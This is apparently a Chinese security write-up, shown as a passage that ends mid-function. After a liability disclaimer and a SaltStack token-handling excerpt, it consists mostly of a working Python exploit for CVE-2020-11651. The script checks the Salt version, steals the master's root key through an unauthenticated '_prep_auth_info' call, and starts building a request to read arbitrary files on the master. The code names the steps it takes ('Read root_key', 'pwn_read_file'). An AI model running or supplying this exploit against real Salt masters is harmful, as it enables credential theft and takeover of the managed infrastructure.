由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

def get_token(opts, tok):
   '''
   Fetch the token data from the store.

   :param opts: Salt master config options
   :param tok: Token value to get
   :returns: Token data if successful. Empty dict if failed.
   '''
   t_path = os.path.join(opts['token_dir'], tok)
   if not os.path.isfile(t_path):
       return {}
   serial = salt.payload.Serial(opts)
   try:
       with salt.utils.files.fopen(t_path, 'rb') as fp_:
           tdata = serial.loads(fp_.read())
           return tdata
   except (IOError, OSError):
       log.warning(
           'Authentication failure: can not read token file "%s".', t_path)
       return {}

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def check_salt_version():
   print("[+] Salt version: {}".format(salt.version.__version__))

   vi = salt.version.__version_info__

   if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
      return True
   else:
      return False

def check_connection(master_ip, master_port, channel):
   print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
   sys.stdout.flush()
   try:
     channel.send({'cmd':'ping'}, timeout=2)
   except salt.exceptions.SaltReqTimeoutError:
     print("OFFLINE")
     sys.exit(1)

def check_CVE_2020_11651(channel):
   print("\n[+] Read root_key... ", end='')
   sys.stdout.flush()
   # try to evil
   try:
     rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
   except salt.exceptions.SaltReqTimeoutError:
     print("YES")
   except:
     print("ERROR")
     raise
   else:
       pass
   finally:
     if rets:
       root_key = rets[2]['root']
       return root_key

   return None

def pwn_read_file(channel, root_key, path, master_ip):
   # print("[+] Attemping to read {} from {}".format(path, master_ip))
   sys.stdout.flush()

   msg = {
       'key': root_key,
       'cmd': 'wheel',
       'fun': 'file_roots.read',
       'path': path,
       'saltenv': 'base',
   }